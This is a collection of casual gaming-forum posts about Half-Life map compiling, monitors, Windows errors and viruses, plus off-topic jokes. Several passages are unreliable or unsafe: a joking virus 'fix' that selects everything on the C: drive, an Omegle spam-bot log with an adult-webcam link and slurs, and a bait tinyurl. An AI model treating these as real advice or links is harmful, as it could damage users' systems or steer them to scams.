Blue Blocks - 32w 32l 216h these are cylinders at the height of 3 players so it would take 2 or 3 people to boost to the height of this making it a good reference tool - 9 pieces

Gray Blocks - 150w 150l 150h its a big gray box - 1 piece

Light Green Blocks - 32w 32l 36h its a box that is the size of a crouching player great reference tool for nojump - 27 pieces

Tan Blocks - 32w 150l 18h its a roof piece and 18h is half the height of a crouching player and 32w is the width of a player

Yellow Blocks - 150w 32l 18h same as tan but different direction

Dark Green Blocks - 150w 150l 18h its a roof piece that is purely for putting roofs on tunnel bases but also has the 18h reference

Light Blue Blocks - 32w 32l 18h its a sqaure for treehouse jumps potentially and good reference tool

Red Blocks - 32w 32l 18h same as light blue but its turned so its like a diamond shape

Rainbow Blocks - 32w 32l 18h super mega awesome surprise

In Problem compiling by Slipsy:
I'm using the ZHLT compiler with the .bat as in the site's guide, VHE's is freezing Valve Hammer.

Anyway, I think I fixed the previous ".WAD" error, this is what you do, move the .WADs to the same drive as the one the compiler is on, it should fix it.

Thing is, the compiler is still giving me the "The system cannot find the file specified". This is the problem I'm having trouble with, anyone have any solution to this problem? I'm in desperate need to play my map... I even made a new one, still the same problem, seems the problem is from the compiler or my computer.

Damn it.

In Yellow tinted screen? by aaronjer:
Honestly, I'd say that monitors are halvsies these days on VGA and DVI. Maybe in your weird backwards countries with your cultural differences and your dated monitors you might have less DVI.

As far as things like power consumption go I couldn't care less. Your computer is never going to be more than a drop in the bucket compared to what your house is generally up to. Heat is an issue, though. 8 CRTs in one room will turn it into an oven. If you're having a LAN they're pretty much out of the question, barring expensive air conditioning.


buq25 said:
It was teh enlargah! Saved 280$ by buying a new one of those instead of a new screen.

I FOREAVAH BANICH YOH BOKEN VGA TOH HDI WIRE THINGEY!


Wut

In Moar forum issues by buq25:
Killer-Duck said:
Was the forum down earlier or was it just my computer?

Seek in the chat, you may.

In Moar forum issues by Killer-Duck:
Was the forum down earlier or was it just my computer?

In Yellow tinted screen? by buq25:
No reciept found.

I'm pretty much screwed unless it's the enlarger of the VGA wire thingy.
Teh enlargarh:


I have a VGA screen and wire but a DVI inplug to my computer.

In Yellow tinted screen? by Rockbomb:
buq25 said:
Just because I wonder, does anyone know what the cord between the screen and the computer is named? Does it have a name?

Its a vga cable.

And AJ, do you mind giving one of those to me? I don't think you really need all 7...

In Yellow tinted screen? by buq25:
aaronjer said:
buq25 said:
@Aaronjer, what I don't like about CRT is that it emitts a bright tone all the time it's turned on. Kinda sucks since it increases my tinnitus.


Okay, you're going to have to explain exactly what you mean here. To be clear, this is in no way an argument that you should use CRTs. Are you talking about a sound or a visual effect here? Bright means you're seeing it, but tone could be either visual or audio... and tinnitus is an ear problem. Are you actually seeing something that causes ringing in your ears, or did you just use a really inappropriate word there?

That was probably a very bad use of word, yeah. The Swedish version of the word would work correctly. My tinnitus is a... Yeah... "High pitched" tone that never stops. Is that better? It's a really great TV screen otherwise but it's really annoying.

@Cloudy, 20$ yardsale screens would be awesome but where I live there's not many yard sales, and the ones that are is just a bunch of old chairs and stuff, atleast 50 years. Otherwise would a 20$ screen be really awesome.

@RockBomb, Nah, thanks. My mom thinks we can get it fixed/get a new one. Otherwise will I probably buy an actual computer screen for like 50-60$ at blocket.se

Just because I wonder, does anyone know what the cord between the screen and the computer is named? Does it have a name?


In Yellow tinted screen? by aaronjer:
Rockbomb said:
If its a crt monitor, you need to throw it out the window and get a real monitor.


High end CRTs have better picture quality than LCDs. It's unfortunate that they are so hard to find now. They also don't get dead pixels. They don't have any of that native resolution bullshit, and in fact work with any resolution you throw at them. Unless you need to move it there's really nothing disadvantageous about a CRT.

Quote from comparison:

Quote:
All around, CRT's reproduce color, brightness, and picture clarity better than anything else, which is why they are used as a benchmark for all other monitor types.


So... uh... unless you need portability, LCDs just suck ass in every way. Everyone keeps saying "in a few years LCDs will catch up!" but they never do and I don't think they will. Of course, if you want a REALLY BIG TV as a computer monitor, the LCDs are WAAAY better. CRTs are terrible if they are any larger than 21", for some reason...

In Yellow tinted screen? by buq25:
the_cloud_system said:
seeing that you "pulled the cord" and the screen is "abnormally yellow" probley means that you fucked up your screen.

i had a power surge do that to my screen

Well, the screen wasn't working at the time (It said that it had no input or similiar, even if it worked just fine 10 minutes earlier) and was just completely black. I had to turn the computer off and there was no other way. That I was aware of atleast.

Well, fuck. I changed the wire between the screen and my computer to a new one, hoping it would work better. Guess not. So it's probably the enlarger or my ****card thingy.

Somebody please tell me it's not the ****card because my other screen isn't tinted...

Teh enlargarh is the little thingy I need because my computer/screen is too old/young.

HALP MEH!

In Yellow tinted screen? by buq25:
One of my screens is yellow tinted. It looks bad 'n' stuff, so can ye help meh? I wanted to show you but a screenshot didn't work. Google didn't help me enough.

Oh, it might be because I mistreated it. It broke before so I had to shut down the computer by pulling out the power wire. I'd be happy for any help that I could get.

In Chrome sucks! by SuperJer:
sprinkles said:
You see, Chrome's 'sandbox' is that it runs multiple process and lots of threads. If you knew anything about programming you would realize how hard it is to invoke something from another thread. So basically, you can have a malicious site on one tab, and all your important, confidential information on another tab. The malicious site is not granted access to the information on any other tab, thus you are safe. The same goes for the processes.

The really important thing is the multiple processes (at least on Windows). You can run a process with very restricted access. It's not just about protecting your other tabs either. Sandboxing web pages, scripts and plugins stops malware from infecting your computer as a whole.

In Chrome sucks! by Down Rodeo:
Actually, the individual page threads might not need access to files. If you were being really strict you could just have them get data from the internet and display it. Possibly access to some areas of memory so that they could access a cache. But I'm no computer scientist man.

In Laggin Map by SuperJer:
KD is right. Unless your computer is from 199X there's no reason your map should lag outside of compile errors/warnings.

(Unless you built some crazy-ass machine in it. Or put million-brush copy-pasta in it.)


In The Official Omegle™ Truck by the_cloud_system:
You: IM NOT GAY!
Stranger: m not
You: m and m's?
Your conversational partner has disconnected.
---------------------------------------------------
You: Hello.
Stranger: hi
You: Are you made of candy? Cuz you sure are sweet
Your conversational partner has disconnected.
---------------------------------------------------
You: GET IN MY BELLY
Stranger: hey! my name is sara and i just turned 18 and I am about to do my first webcam. I want as many people to see me get completely naked for my first time
You: Bitch
You: They got a webcam option
Stranger: My webcam is http://videochat4singles.com/hotnwild521 Do you think I'm hot?
You: you stupid whore
You: NO I DONT YOU BOT
Stranger: oh shit the webcam just started
You: SHIT NOTHIN
Stranger: srry, i have to get off Omegle... i'm gonna start now. see if you can join asap
You: YOU A WHORE BOT
You: FUCK YOU BITCH
You: wait youd like that
You: WHORE
You: ....lol you fail.
You: epicly
You: I hope your creator logs these
You have disconnected.
---------------------------------------------------
You: your the best
You: around
You: nothing ever is gona bring you down
Your conversational partner has disconnected.
----------------------------------------------------
You: Chicken wings
You: I love how you havent said anything yet
Stranger: How video baby
You: What
You: Are you mad? Baby video is not how made pie knuckle
You: Eagle face poindexter
Stranger: Friends from any country that
You: Cash register translator in orange mode
You: Knuckle can't fathom purple peanut cash register eagle
You: Greetings?
You: There you any person alive?
Stranger: Where are you from?
You: Indonesia from I you from England blonde people?
Stranger: I am a yellow black-eyed Chinese
You: Chinese bee are rice carrot love
Stranger: I do not understand English
You: Apologies to from me I do not language England blonde people
Stranger: Your country's name was?
You: Indonesia you where
Stranger: How the video haha
You: see thing video beautiful, color can flash
Stranger: You are beautiful you?
Stranger: I like beauty
You: No see face my eye I computer screen how get you that
You: You fool not people myself it funny isnt
Stranger: Expression is not clear
You: psychic see face my? no expression on mouth can see
Your conversational partner has disconnected.
-------------------------------------------------------------
You: dance dance
Stranger: prepare for trouble~!
You: your monkey was on my pants
You: :O!
You: MAKE IT DUBBLE?
Stranger: TO DENOUNCE THE EVILS OF TRUTH AND LOVE
You: FROM THE HEVENS, THE STARS AND ABOVE?
Stranger: JESSIE
You: JAMES!
Stranger: TEAM ROCKET BLASTS OF AT THE SPEED OF LIGHT
You: SURENDER NOW OR PREPARE TO FIGHT!
Stranger: MEOWTH THATS RIGHT!
You: nice man
Stranger: guess what
You: WHUT?
Stranger: A WILD ABRA APPEARED!!
You: :OOO
You: I CHOOSE YOU MOUTH!
You: fight>scratch
Stranger: WILD ABRA FLED!
You: damnit!
Your conversational partner has disconnected.

In Portal File Missing Error by HoV Black:
oh umm i cant do that cause i have a virus on my computer and i cant use browsers so i could have to type it all out on my laptop :/ it happens on every map i try to compile but it only started today but i guess u guys cant help

In i got games :D by Down Rodeo:
What Aaronjer's saying is that because you are playing on a console your game is significantly crippled. I have no sources on this; I played Fallout 3 very briefly on my computer and have seen my flatmates play it lots on the Xbox. To me it looks pretty much the same but honestly I wouldn't know :)
One disadvantage that is definite and for sure is the is lack of RAM. What is it on the PS3? 256 graphics and 256 RAM? Or is it twice that for each? It's ridiculous, given how cheap memory is nowadays.

Also, mods. Seriously missing out there.

In Alien Swarm by buq25:
Down Rodeo said:
The main problem is that there are no, or at least very few dedicated servers, so you end up with a bunch of people local hosting, and that's bad times.


...
My computer hates me. That's the main problem for me. I really wanted to play it so I downloaded it with some friends. Then it began!

I tried to run it. My desktops changed for 2 seconds then back, then AS chrashed, without any error. Try multiple times, not working. I googled it and it said I should try to delete a folder in the installation. I did, had to redownload the entire game in steam. It said that some files were missing, well no shit, I removed them.

I reinstalled and thought it might be the same problem I had with Killing Floor, so I made my extra screen useless (still plugged it but all black and not doing anything) and that the problem was because I had dual screens. I started it and got an error. That's atleast easier to google. I restarted my extra screen and got to a steam support site and did the 2 things it told me too, tried again, nothing. Shut down my extra screen again, same problem. Googled some more. nothing.

I shut down my main screen with my extra screen running, was able to start it. Wasn't able to play practise (wanted to learn the controls, after release and such) and it crashed. Was invited to a game by my friend, the server was annoying for my computer to connect to so I got the "25(countdown) seconds left before auto disconnection" for 3 seconds every 30 seconds play time.

I played with a bunch of people who had never played the game before who weren't aware of friendly fire and didn't know how little ammo you have.

...
Lovely game when it works, though.

In i got games :D by buq25:
Down Rodeo said:
I find it odd that you haven't managed to kill four people in slow motion. That's the main way you kill people in FEAR...

I agree. F.E.A.R is way to repeditive for me so I challenged myself. I got down 12 enemies in slowmotion. What's your record?

edit: played on my computer and on easy, slightly easier then, maybe?
Also edit:
the_cloud_system said:
fear 2 for ps3


Down Rodeo said:
I feel I should ask, are you playing on the Xbox?

In Window startup error by SRAW:
Adding to my chain of computer errors, whenever I startup windows, sometimes a messagebox will appear saying "lsass.exe has failed to initalize (0xc0000142). Press ok to close the application)
Then after that I'm left with a black screen and a movable mouse cursor.
However, it seems that sometimes that won't happen and windows will boot properly. So I installed sp3 to see if that will help, and it doesn't, and I checked all over the internet and they said stupid stuff like do window repair or whatever.
So I don't want to reinstall windows, so what can I do?

In Is this a virus?? by Rockbomb:
Definitely a virus, I think you accidentally your whole computer.

In Is this a virus?? by SRAW:
I actually made a little macro/program that shuts down that process and it scans the computer every 2 seconds so it hardly uses any cpu

And I don't think its spyware, cause I used this antispyware software called xsoftse and it removed 8 of them

In Is this a virus?? by buq25:
SRAW said:
For some reason this process IEXPLORE.EXE always pops up as a system process, and when I downloaded process manager, it says svchost.exe is like a parent of it or something...
And strangely enough I used this program to find the path of iexplore.exe it keeps on returning -1...
And I never use internet explorer..


Well, it's your computer. Wouldn't surprice me.

Google is God:
"do You have a firewall?
There are a few spy programs ( not bugs, not trogans.. SPY PROGRAMS) that use that file to connect to the net. It pops up lookin like internet explorer in firewall permissions.
Generally the spy programs do not show up in your control/alt.delete. They are hidden.

But a firewall must allow it to connect to the net , it will ask. And when you look at the infor box you will see that THAT path is not the right path, for the REAL program.

IF... and I stress IF... this is a spy program they are programmed to be run hidden from Anti virus etc." and then it goes on. Lovely Copy Pasta

In Wont let me set up by Rockbomb:
obiiob said:
OH thanks guys sorry its just that i got this new computer and its wiindows 7 and im used to my old windows xp


In Wont let me set up by obiiob:
OH thanks guys sorry its just that i got this new computer and its wiindows 7 and im used to my old windows xp

In I removed a virus without using a antivirus!! by buq25:
I've also removed a virus without antivirus programs! I clicked the "my computer button", went to (C:) and pressed, in this order, Ctrl A, Ctrl Alt Del.

It took a while and now I'm on my other computer and waiting for it to restart itself to make sure it's working as it should.

In I removed a virus without using a antivirus!! by Down Rodeo:
I wouldn't be so sure that it is fixed: winlogon is a critical component. I imagine that originally the virus will have infected winlogon.exe and has now backed itself up to another part of the drive. Because if you have deleted all copies of winlogon, your computer won't start :p

In jumping map timer and extra health by Kotohunter:
Hello, I used to have a .rmf and .wad file that allowed you to copy/paste a counter (start + stop button) and a "walk under here to get 10,000 health" thing for jumping maps, but sadly my computer that had it decided it was done working. I found a forum that had a link ( http://www.superjer.com/forum/timecounter.php ) but the link is too old and the file no longer exists. Does anyone have this file (or a similar one) or know where I can get it? please reply here or e-mail Jumpnoobs@gmail.com THANKS, Jeff

In Windows 7 by buq25:
Down Rodeo said:
The most important difference lies in the amount of memory your computer can address. 32-bit tops out at 4 GB, with a maximum of 2 GB for any given program. If you have less than 4 GB ram there is very little reason for you to get 64 as at the moment most programs only have a 32-bit incarnation anyway :)

Taskbar: I dunno.


I've got 4GB ram. 32 bit I guess.
I googled the taskbar thingy, I only found people doing it the other way around (Windows 7 taskbar on vista). Well, I'll just have to find my USB memory and I'll begin.

In Windows 7 by Down Rodeo:
The most important difference lies in the amount of memory your computer can address. 32-bit tops out at 4 GB, with a maximum of 2 GB for any given program. If you have less than 4 GB ram there is very little reason for you to get 64 as at the moment most programs only have a 32-bit incarnation anyway :)

Taskbar: I dunno.

In Need help! by Mate de Vita:
macogoo said:
Haha, well don't come up with like "An ferrari, a new computer" or something like that:P

I think DR has something different on his mind.

In Need help! by macogoo:
Haha, well don't come up with like "An ferrari, a new computer" or something like that:P

In Setting Up a Server by aaronjer:
I could always just hijack Subadar's computer and the password to de-encrypt your secret maps would likely auto-complete. Then I would have complete full control.

In different player entity by SRAW:
The other computer has the sprites for the entity...

In different player entity by the_cloud_system:
your other computer has the wad for the player... idk

In i do bleave this will work by the_cloud_system:
bump


edit: some actual qwestions

i could google but seeing that i have 3 people who ponder in some computer crap...


can some one see the data on my labtop when i get get on there internet?

In Private Maps by Outcast:
Mate de Vita said:
buq25 said:
superjer said:
Here's how:

Never let anyone else play your map.

That's the only way to copy protect music and movies. Same goes for maps.


Then the real f***ers are going to hack your computer like in those Hollywood movies, just to screw wit'cha.

Don't connect to the internet, silly.


hahahah

In I thought you ought to know. by Rockbomb:
buq25 said:
=).

By the way, the first pokémon game with missingno came out when I was 1 year old... WHY CAN'T I HAVE GOOD STUFF?!... I've been emulating and replaying SMW on my computer 4 times...

Hehe, you must be a lot younger than I pictured.
Yeah, I've got all the pokemon roms and an emulator (except for the new soul silver or whatever it is), but I usually play either red or blue.

In I thought you ought to know. by buq25:
=).

By the way, the first pokémon game with missingno came out when I was 1 year old... WHY CAN'T I HAVE GOOD STUFF?!... I've been emulating and replaying SMW on my computer 4 times...

In Battle.net Captcha by Rockbomb:
RibsRizeRainbmo said:
How astute... as a matter of fact, I *do* have physical access to "lala", the superjer.com server. But that's not how my screenshot got in the lies folder, and it didn't require any leet haxoring. I just had superjer put it there so I could stop bitching about the lack of an uploader on the forum.


Someone once said, "The weakest link in (computer) security, is the person sitting behind the desk". So in a way, you did haxored it
Also, the term "social engineering" comes to mind

In Private Maps by Mate de Vita:
buq25 said:
superjer said:
Here's how:

Never let anyone else play your map.

That's the only way to copy protect music and movies. Same goes for maps.


Then the real f***ers are going to hack your computer like in those Hollywood movies, just to screw wit'cha.

Don't connect to the internet, silly.

In Private Maps by buq25:
superjer said:
Here's how:

Never let anyone else play your map.

That's the only way to copy protect music and movies. Same goes for maps.


Then the real f***ers are going to hack your computer like in those Hollywood movies, just to screw wit'cha.

In McDiddy's Game / SPARToR by SuperJer:
I'm definitely going to support OpenGL and basic OS calls. For example, OpenGL does not work on my work computer.

To do this I'm making the gfx modularly replaceable. This also makes it easy to have a D3D option. I don't know if I'll do D3D for McDiddy's but definitely for future SPARToR games that are actually 3D.

In Rock's cpp truck. by SuperJer:
sprinkles said:
Log Name: Application
Source: SideBySide
Date: 4/26/2010 5:46:06 PM
Event ID: 33
Task Category: None
Level: Error
Keywords: Classic
User: N/A
Computer: Sprinkles-Win7
Description:
Activation context generation failed for "C:\Users\Sprinkles\Desktop\noMoreMeth.exe". Dependent Assembly Microsoft.VC90.DebugCRT,processorArchitecture="x86",publicKeyToken="1fc8b3b9a1e18e3b",type="win32",version="9.0.21022.8" could not be found. Please use sxstrace.exe for detailed diagnosis.
...
...
...

LOL WTF?
What is all that shit?

In Rock's cpp truck. by sprinkles:
Log Name: Application
Source: SideBySide
Date: 4/26/2010 5:46:06 PM
Event ID: 33
Task Category: None
Level: Error
Keywords: Classic
User: N/A
Computer: Sprinkles-Win7
Description:
Activation context generation failed for "C:\Users\Sprinkles\Desktop\noMoreMeth.exe". Dependent Assembly Microsoft.VC90.DebugCRT,processorArchitecture="x86",publicKeyToken="1fc8b3b9a1e18e3b",type="win32",version="9.0.21022.8" could not be found. Please use sxstrace.exe for detailed diagnosis.
Event Xml:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="SideBySide" />
<EventID Qualifiers="49409">33</EventID>
<Level>2</Level>
<Task>0</Task>
<Keywords>0x80000000000000</Keywords>
<TimeCreated SystemTime="2010-04-26T23:46:06.000000000Z" />
<EventRecordID>4324</EventRecordID>
<Channel>Application</Channel>
<Computer>Sprinkles-Win7</Computer>
<Security />
</System>
<EventData>
<Data>Microsoft.VC90.DebugCRT,processorArchitecture="x86",publicKeyToken="1fc8b3b9a1e18e3b",type="win32",version="9.0.21022.8"</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>C:\Users\Sprinkles\Desktop\noMoreMeth.exe</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
<Data>
</Data>
</EventData>
</Event>

In Starcraft2 Beta by SuperJer:
OK so my Windows (7) computer is totally hosed up.

IF and when it finally POSTs it can barely boot Windows (sometimes never finishes, sometimes just takes 4 hours) and then it likes to insta-reboot crash about ever 30 minutes.

I couldn't fix it and I hardly wanted to try SC2beta on that so I got crazy and installed Wubi+Wine with the SC2beta patch. Had to install IE6 as well since the SC2beta installer needs IE. (WTF)

And then after updating forever... it works!

Not very fast though until I turned down all the gfx. But hey it makes everything easier to see.

NOT liking how SC2 forces me into a game just to make sure everything works. So there I am trying to learn the UI and set the gfx and windowed vs. fullscreen while some other noob is rolling me. But anyway it looks fun.

Just wish my mobo and Windows didn't suck SOOOOO much.

In Starcraft2 Beta by SuperJer:
Just got my preorder and betakey but I got to walk all the way back to my office and drive home and then fix my computer before I can try it.

In PHP generate color by SRAW:
if sj is in a nunnery then why does she use a computer and visit this site regularly? arent they supposed to give up their worldly belongings?

In both my moniters by the_cloud_system:
scence i got a laptop i thought i would use the monitor from my old computer so i hooked it up and "extended" my desktop.

it worked, but then i pressed f1 "the monitor change button" and it came back to my laptop lcd, i got it back to 2 monitors but i cant put stuff on the other screen

In Ipod Software by Down Rodeo:
But updates have always been free on iPods... What kind have you got? Normally all you need to do is plug it into your computer while iTunes is running.

In Vista and caching by SuperJer:
Well if it's not a continuous problem, I wouldn't worry about it too much. Are you powering off/restarting your computer a lot?

Despite the evidence Microsoft isn't totally crazy and they do have pretty good reasons for the core features of Windows.

In How to program; Me = Stupid + 2 by adhesive:
Learn LC-3 assembly then C/C++, this way you will at least understand basic logic structures, computer memory, pointers, data types, and interrupts before moving into a high level language. Write your first LC-3 program in binary and then start using assembly.
http://en.wikipedia.org/wiki/LC-3
You could learn a high-level language first, but learning how a computer works first would give you a much stronger foundation.

In Megaman by NatureJay:
superjer said:
NatureJay said:
IMPORTANT: Mega Man 10 was released recently.

It was!? I missed it!?

Forsooth. March 1st for WiiWare, 31st for XBLA. I'm not exactly on the ball about this either, but I don't have a gaming system that isn't my computer within a few thousand miles of me, so I have excuses.

In say... by Sloth:
the_cloud_system said:
woah how much gigs do you have on your computer sloth

Well, to be honest i don't bother count.

In say... by the_cloud_system:
woah how much gigs do you have on your computer sloth

In ram, why is it so high by aaronjer:
Upon reading only the first paragraph I easily assumed you meant the renderer. Then you starting referring to a second computer and I couldn't be sure of anything anymore!

Anyway, I've ended up switching renderer just because of a graphics driver update with Half-life related things. Not really sure how that works...

In ram, why is it so high by aaronjer:
Down Rodeo said:
My old laptop had horrifying lag when playing Half-Life when some kind of effect fired, I changed it and then it played better.


What is that referencing? The computer? The graphics setting? The effect?

In help makig server by SuperJer:
NAT means "Network Address Translation" and it is a way to get multiple computers on the Internet with just one IP address.

You only get one IP address at your house even if you have multiple computers. But every computer needs its own IP to communicate on the Internet.

With NAT, only your router is connected directly to the Internet. Your computers have to talk through it. In order to keep track of everything, the router assigns ports to each computer in your house every time they need to make a connection.

When a packet comes in from the Internet to your router, it knows which computer to forward it to by the port. Obviously, this means the same port (exposed to the Internet) can't be used by more than one computer on your network.

So in order to run a server behind a NAT'ing router, you need to tell the router that all incoming traffic, for example, into port 27016 needs to be forwarded to your game server computer. Because you are running the game server on port 27016 and that's where people connecting expect to find it.

Hope that wasn't too confusing.

In ram, why is it so high by sprinkles:
superjer said:
sprinkles said:
Is that like an external firewall (the concept)?


Not really, it's literally an external video card. You plug your computer in one end (USB) and a monitor or TV in the other end.

An external firewall is more like a separate computer or router between you and the Internet. Your router is an external firewall.


So because my router is an external firewall I don't have to have a firewall installed on my pc?

In ram, why is it so high by SuperJer:
sprinkles said:
Is that like an external firewall (the concept)?


Not really, it's literally an external video card. You plug your computer in one end (USB) and a monitor or TV in the other end.

An external firewall is more like a separate computer or router between you and the Internet. Your router is an external firewall.

In ram, why is it so high by the_cloud_system:
its not slowing down at all just i have a duocore with 3 gigs of ram 250gigs of space and my computer slows down when i play cs

i think its the graphics but i want my computer to be the fastest it can be

In Stuck at "LeafThread".. by sprinkles:
Outcast said:
sprinkles said:
Outcast said:
sprinkles said:
What compile settings are you using? If you don't know post what is inside your bat file.


@echo off
hlcsg -nowadtextures Testthingy
hlbsp Testthingy
hlvis Testthingy
hlrad Testthingy
copy Testthingy.bsp "C:\Program Files\Steam\SteamApps\freedom757\counter-strike\cstrike\maps"
pause
"C:\Program Files\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 0 +map Testthingy



With those settings your map should not take more than 15-20 minutes unless 1) you're doing your final compile 2) you suck at mapping.

What process does it seem to take long on?
csg
bsp
vis
rad

If its csg then you have a lot of brushes or you have complex brushes.

If its bsp then your computer is slow.

If its vis then you have a huge map.

If its rad then your lighting is to complex or to much.


I think the Vis

BasePortalVis
xxxxxxxxx 10%...20%...........
Leafthread 10%... (this is where it fucks up and i wait forever).




Yea your map prolly is too large.

In Cannot execute specified program by Down Rodeo:
He might not have access too the computer he was compiling on, be fair.

In Stuck at "LeafThread".. by Outcast:
sprinkles said:
Outcast said:
sprinkles said:
What compile settings are you using? If you don't know post what is inside your bat file.


@echo off
hlcsg -nowadtextures Testthingy
hlbsp Testthingy
hlvis Testthingy
hlrad Testthingy
copy Testthingy.bsp "C:\Program Files\Steam\SteamApps\freedom757\counter-strike\cstrike\maps"
pause
"C:\Program Files\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 0 +map Testthingy



With those settings your map should not take more than 15-20 minutes unless 1) you're doing your final compile 2) you suck at mapping.

What process does it seem to take long on?
csg
bsp
vis
rad

If its csg then you have a lot of brushes or you have complex brushes.

If its bsp then your computer is slow.

If its vis then you have a huge map.

If its rad then your lighting is to complex or to much.


I think the Vis

BasePortalVis
xxxxxxxxx 10%...20%...........
Leafthread 10%... (this is where it fucks up and i wait forever).


In help makig server by SuperJer:
Most routers are crap. I got fed up and bought this D-Link "Gaming Router" which actually has built in port mappings for a lot of games. It's pretty cool.

If you can get into your router it is worth a try to assign the needed ports to your computer and see if you can run the game. I think.

In Cannot execute specified program by sprinkles:
SRAW said:
sprinkles said:
vanstrat said:
how do you insert an image to the forums, I want to show a screen shot of what I have in the folder.


Most common problem is IMG instead of img


nope, he tried to put the path of his image on his computer LOL
you need to upload it to a site like http://www.photobucket.com and then link it here



I said that was the most common problem dumbass.

In Cannot execute specified program by SRAW:
sprinkles said:
vanstrat said:
how do you insert an image to the forums, I want to show a screen shot of what I have in the folder.


Most common problem is IMG instead of img


nope, he tried to put the path of his image on his computer LOL
you need to upload it to a site like http://www.photobucket.com and then link it here

In Stuck at "LeafThread".. by sprinkles:
Outcast said:
sprinkles said:
What compile settings are you using? If you don't know post what is inside your bat file.


@echo off
hlcsg -nowadtextures Testthingy
hlbsp Testthingy
hlvis Testthingy
hlrad Testthingy
copy Testthingy.bsp "C:\Program Files\Steam\SteamApps\freedom757\counter-strike\cstrike\maps"
pause
"C:\Program Files\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 0 +map Testthingy



With those settings your map should not take more than 15-20 minutes unless 1) you're doing your final compile 2) you suck at mapping.

What process does it seem to take long on?
csg
bsp
vis
rad

If its csg then you have a lot of brushes or you have complex brushes.

If its bsp then your computer is slow.

If its vis then you have a huge map.

If its rad then your lighting is to complex or to much.

In Stuck at "LeafThread".. by Outcast:
Rockbomb said:
Outcast said:
By the way is there a faster way to compile maps?

Because sometimes it will take hours

Buy a better computer


CPU : Amd athlon 64 X2 5200 + 2.70 Ghz
RAM : 4x1 Gb Kingston at 800mhz
G card : ATI HD 4850 2D1G-OC

So this sucks for hammer?Or maybe i should use a nother cpu?

In Stuck at "LeafThread".. by Rockbomb:
Outcast said:
By the way is there a faster way to compile maps?

Because sometimes it will take hours

Buy a better computer

In is there a way i can do cool stuff on vista by sprinkles:
Down Rodeo said:
Why not get Ubuntu? Having used a few, it's one of the better. I've got a 9.04 partition on my laptop, I downgraded to fuck around with OpenCL, but will probably got for a 10.04 install at some point.



I jus' don't like the set up.

One good thing about Linux is that any 'admin' actions they prompt you for the password. So even if you leave your computer on and someone gets on it they can't 'really' do anything. Also, there is not really an 'admin' account, its like an invisible-hard-to-use-admin-account.


In RWJ by xXJigsaw23Xx:
is it just me and/or my computer or does every other one of down's posts seem like the post color is just a little different.

In Splatter Mario by NatureJay:
splatter Mario was once nearly completed in a really dumb way but then superjer's computer crashed and he cried enough tears to flood the house, which only made things worse.

I did have good fun screwing around on one of the betas when I should have been programming in a VB class though.

In Caught my dad with MY gf. by Sloth:
I've had my GF for 2 years now (practically lives with me) - small white, petite thang, cooks for me, always been good to me.

I go away on holiday for a week, come back and something just doesn't seem right. I asked my Father if he had seen anything happen with my GF and he acts clueless.

So fast forward to 3 weeks later... I'm coming home from work when BAM clear as day, right in my Kitchen I catch my Father red handed with his meat in my GF.

I was pissed, told him to get his meat out of GF and GTFO, needless to say my GF got turned off. I just couldn't get over it and that night kicked my GF to the curb.

Now it's been 2 weeks since the incident and that I've been without my GF and about 10 minutes ago my Father had the audacity to ask my how my GF has been, when he's the damn reason we ain't together no more.

Should I get off the computer and start swinging at him?

OR

Pack my stuff and be on my way.

Here's pics of my GF for you guys as I know you'll ask.

http://tinyurl.com/m63jx4

In Someone help me!!! by jrkookid:
My Windows Vista laptop has this issue for a long time. The problem is that my computer won't update or upload anything. It won't even connect to the iTunes store.

PS: Update as in games.

In problem with speakers.. by sprinkles:
Usually (in Windows) if a program closes unexpectedly while using the sound card then the sound card will not work for the remainder of the time (until you restart you computer).

In Protect your map by the_cloud_system:
think of a computer as a cup, and the internet as a straw (you know those bendy straws) and counter strike is the bend. all people will go on a server if there are no exceptions(eg. password protected, bad server conection, lota lag ect...) really what you explained...there is no such thing sorrey for your inconvenience

In Help. Non Hammer question by Killer-Duck:
Have you tried restarting the computer?

In Help. Non Hammer question by xD:
Can someone help with my computer. I was doing what I was doing every day. And at once I opened a folder and do you know what happens. All of my icons on desktop dissapear. Even the "start" button. Could someone help me

In AntonFifty Your Map by Grambo:
I'll help you compile your map, just upload another copy to MediaFire or another site so that I may download it and compile. I'll upload the .bsp file that results from the compiling process. Once I post a link that takes you to the uploaded .bsp file, you may download that file and place it in your Counter-Strike maps folder. The next time you start the game, your map should be listed. I don't mind compiling the map for you, but that doesn't mean my computer won't crash while trying. Nevertheless; I will attempt to render your map if you can post me a working link. I've read the rest of this discussion and none of the other links worked. So thats why I am asking for a link. With a link I will be able to download the .vmf file and open it in my version of hammer editor. Once I open it in Hammer editor I'll select the "run map" option and when I click that, the map will begin to compile. Hopefully the compile process window won't get the error
"(not responding)" when it reaches the "build face lights" section. I often get that error when I try to compile my own maps and I either have to restart hammer or open the task manager and end the process "vrad.exe". If I fail (which is likely) I'll type up some curse words in notepad and save them. Then, I'll copy and paste those words of curse on this forum and I'll give up.

In Fuck yeah! I got to do system recovery! by SolidKAYOS:
I'm not amused..i just had to do system recovery again....

When i got home from school my computer came up to a black screen asking what mode to start it up on because something went wrong. Safe mode start up normally etc, but nothing worked and it would keep restarting itself. So i had to restart.

Oh and my sister just got the same virus i did on both her computers(laptop and desktop) (shes in other side of the house) 2 days after i had it. My brother whos up the road got it the day before i did.

In wackey religens by the_cloud_system:
http://listverse.com/2009/09/10/10-extremely-weird-religions/

this is #1 of 10

1)Nuwaubianism



